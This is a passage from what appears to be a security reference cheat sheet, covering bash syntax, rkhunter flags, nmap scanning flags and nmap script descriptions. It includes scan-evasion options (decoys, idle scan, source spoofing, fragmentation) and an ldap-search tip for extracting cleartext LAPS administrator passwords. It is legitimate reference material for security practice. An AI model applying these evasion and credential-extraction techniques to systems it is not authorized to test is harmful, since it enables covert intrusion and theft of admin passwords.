${<string>[^^|,,]}

Convert string to upper or lowercase

for a in {x-y}; do

Iterate over a range

echo aa{bb,cc}

Echoes "aabb aacc"

a=(one two)

Define an array

${a[n]}

Access n-th element of array

${a[\*]}

Access entire array

38. IMPORTANT RKHUNTER COMMAND-LINE FLAGS

**--sk**

**--disable <tests>**

**--enable <tests>**

**--list tests**

**--logfile <file>**

**--display-logfile**

39. IMPORTANT NMAP COMMAND-LINE FLAGS

**-sS Perform quick SYN flag scan**

**-sI <host[:probeport]> Perform idle scan**

**-D <decoys> Scan using decoy addresses**

**-b <ftp\_relay> Perform FTP bounce scan**

**-iL <file> Specify the hostsfile**

**-Pn Do not perform host detection**

**-n Do not perform DNS lookup**

**--mac-spoof Spoof the MAC address ("0" for random)**

**--top-ports <n> Scan <n> top ports**

**-r Scan ports without randomization**

**-sV Scan versions**

**--version-[light|all] Intensity of version scan (all uses every available probe)**

**-S <addr> Spoof source IP address**

**-g <port> Spoof source port**

**--ttl <ttl> Specify Time-To-Live**

**-f | --mtu <len> Fragment outgoing packets**

**--reason Show reason indicating the port state**

**--open Show only open ports**

**--resume <file> Resume scan from -oN/-oX/-oG save files**

**--append-output Append output ti file instead of deleting**

**--host-timeout <time> Abort scanning host after given interval**

**--scan-delay <time> Time to wait between sending probes to the next port**

40. NMAP SCRIPTS

**dns-blacklist**

Check if host is blacklisted by DNS servers

**dns-zeustracker**

Check if host is a part of Zeus botnet

**http-config-backup**

Search form CMS config backups

**http-wordpress-enum**

Enumerate WordPress plugins

\* check-latest - check if pluigns are up to date

\* root - base path of root installation

**mysql-empty-password**

Check for anonymous MySQL login

**mysql-users**

List SQL users on host

**address-info**

Extract information about IPv6 address

**krb5-enum-users**

Enumerate Kerberos usernames

\* .**realm** - domain name

\* **userdb** - usernames file

**traceroute-geolocation**

Perform geolocation (requires **--traceroute** flag)

\* .**kmlfile** - name of the KML file to write to

**fingerprint-strings**

Print readable banner strings from unknown services

\* n - number of characters to print

**ftp-bounce**

Check if server allows bounce scanning

**hddtemp-info**

Retrieve information from hddtemp service

**ipidseq**

Classify host's IP ID sequence

\* probeport - destination port to probe

**modbus-discover**

Enumerate SCADA slaves and get information about deFanavice and firmware

\* aggressive - enumerate all slaves (not only first sid)

**path-mtu**

Check the maximum length of non-fragmented packets

**qscan**

Probe ports to obtain round-trip time value and search forn anomalies

\* numclosed - max number of closed ports to probe (default: 1, negaive to disable the limit)

\* numopen - maximum number of opened ports to probe (default: 8)

\* numtrips - number of RTTs to get

\* delay - average delay between packets (default: 200ms)

**reverse-index**

Show which host runs particular serice

\* mode - [horizontal|vertical]

\* names - index by service names rather than ports

**smb-os-discovery**

Pull host info (OS, workgroup etc.)

**sniffer-detect**

Check if target has network card in promiscous mode

**targets-sniffer**

Sniff the network for hosts and add them to scanning queue

\* iface - interface used for sniffing

\* timeout - listening time (default: 10s)

\* newtargets - add found targets to scan queue

**unusual-port**

Report deviations if service is running on uncommon port

**xmlrpc-methods**

List available XMLRPC methods

**snmp-[interfaces|netstat]**

**Extract info from SNMP service**

**ldap-search**

Perform queries against LDAP protocol

\* ldap.username, ldap.password - credentials to use

\* ldap.qfilter - quick filter to use [all|ad\_dcs|users|computers|custom]

\*ldap.attrib - comma-separated LDAP attributes to pull, enclosed with curly brackets

Set this to ms-Mcs-AdmPwd to extract cleartext passwords from LAPS

\* ldap.savesearch - file prefix to save gathered data to, constructed as <prefix>\_<ip>\_<port>.csv